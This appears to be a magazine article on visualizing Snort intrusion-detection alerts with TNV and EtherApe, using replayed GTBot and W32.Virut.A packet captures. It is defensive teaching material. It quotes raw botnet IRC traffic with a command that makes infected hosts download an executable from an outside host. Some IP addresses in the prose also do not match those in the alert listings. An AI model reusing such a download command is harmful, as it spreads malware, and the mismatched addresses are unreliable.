Tools for visualizing IDS output
Platform independent, Java-based TNV , or Time-base Network Visualizer, can also consume libpcap-oriented output or capture from a system interface. John Goodall, of vizsec.org, created TNV as part of his graduate work.
You can make use of TNV right from DAVIX's Visualize menu. Notice that remote hosts in the left UI region and a matrix of local hosts on the right can be reordered. I made use of an old GTBot variant to generate gtbot.pcap (Figure 4). Listing 5 shows one of the Snort alerts triggered by the gtbot.pcap file.
Gtbot.cap in Snort
01 [**] [1:100000272:3] COMMUNITY BOT GTBot ver command [**] 02 [Classification: A Network Trojan was detected] [Priority: 1] 03 10/04-18:25:15.656786 18.104.22.168:5050 -> 192.168.1.1:1101 04 TCP TTL:64 TOS:0x0 ID:53296 IpLen:20 DgmLen:348 DF 05 ***AP*** Seq: 0xCA5E0BB6 Ack: 0xB97E3616 Win: 0x16D0 TcpLen: 20
TNV is slow to load larger PCAP files, so patience is required. That said, you'll likely find the results useful.
The Snort alert called out IP address 22.214.171.124 and source port of 5050 connecting to 192.168.1.1 and destination port 1101. These findings are supported in all three TNV views, including ingress port-specific traffic (in the right pane) and 126.96.36.199 connecting to 192.168.1.1 (in the primary pane – exemplified by the thickened connection line and a pop-out box), and the Details for all packets view.
To spot malfeasance in smaller PCAP files, TNV typically offers instant gratification. Don't forget to declare a home network address range that matches the primary IP space found in the PCAP you are analyzing.
EtherApe  is yet another DAVIX offering found under the Visualize menu. EtherApe also loads PCAP files directly and, like its compatriot rumint, plays the PCAP back in real-time while displaying the results.
Again utilizing a PCAP sample downloaded from EvilFingers.com, I received the alert in Listing 6 from Snort after it read anon_sid_2000345_2003603.pcap.
Virut.pcap in Snort
01 [**] [1:2003603:3] ET TROJAN W32.Virut.A joining an IRC Channel [**] 02 [Classification: A Network Trojan was detected] [Priority: 1] 03 05/30-23:12:53.343816 188.8.131.52:1048 -> 184.108.40.206:65520 04 TCP TTL:128 TOS:0x0 ID:3686 IpLen:20 DgmLen:67 DF 05 ***AP*** Seq: 0x9A24EA7C Ack: 0x55A62BF6 Win: 0xFFFF TcpLen: 20 06 [Xref => http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Virut] 07 [Xref => http://doc.emergingthreats.net/2003603][Xref => http://www.bitcrank.net]
I renamed the PCAP file virut.pcap for the W32.Virut.A virus uncovered in the output. W32.Virut.A injects its code into all running processes, opens a backdoor at port 65520 on the compromised machine, and then attempts to connect to IRC servers.
I read virut.pcap with EtherApe and the results are shown in Figure 5. 220.127.116.11 is a compromised host clearly showing the backdoor opened on TCP port 65520. Raw session data from this PCAP as available on EvilFingers also confirms the Snort alert in concert with the visualization:
NICK vouswcmm USER v020501. . :-Service Pack 2 JOIN &virtu :* PRIVMSG vouswcmm :!get http://ygyyqtqeyp.hk/dl/loadadv735.exe PING :i PONG :i JOIN &virtu
A more enhanced view of security threats leads to a more capable response. I hope by now you've come to believe that security data visualization is a true partner to Snort IDS output.
Should security data visualization pique your interest, consider contributing to the DAVIX project. In particular, DAVIX leader Jan Monsch has indicated that it would be a great community service for someone to work on tool integration issues in DAVIX/Afterglow. Such an effort would allow for conversion of data formats between different tools and would make DAVIX more accessible for many people. I can attest to this need. Most tools on the DAVIX distribution require varied input, sometimes proprietary in format. CSV-based input for all tools would go a long way to expanding the audience for DAVIX.
- Snort: http://www.snort.org/
- DAVIX: http://davix.secviz.org
- PCAP files for this article: http://www.linux-magazine.com/resources/article_code
- Snort User's Manual: http://www.snort.org/docs
- Network Miner: http://networkminer.wiki.sourceforge.net/Publicly+available+PCAP+files
- NetGrok http://www.cs.umd.edu/projects/netgrok/
- OpenPacket.org Capture Repository: https://www.openpacket.org/capture/by_category?category=Malicious
- TreeMap: http://www.cs.umd.edu/hcil/treemap-history/
- AfterGlow: http://afterglow.sourceforge.net/
- Visualized Storm Fireworks for Your 4th of July: http://secviz.org/content/visualized-storm-fireworks-your-4th-july
- Rumint: http://www.rumint.org/
- TNV: http://tnv.sourceforge.net/
- EtherApe: http://etherape.sourceforge.net/
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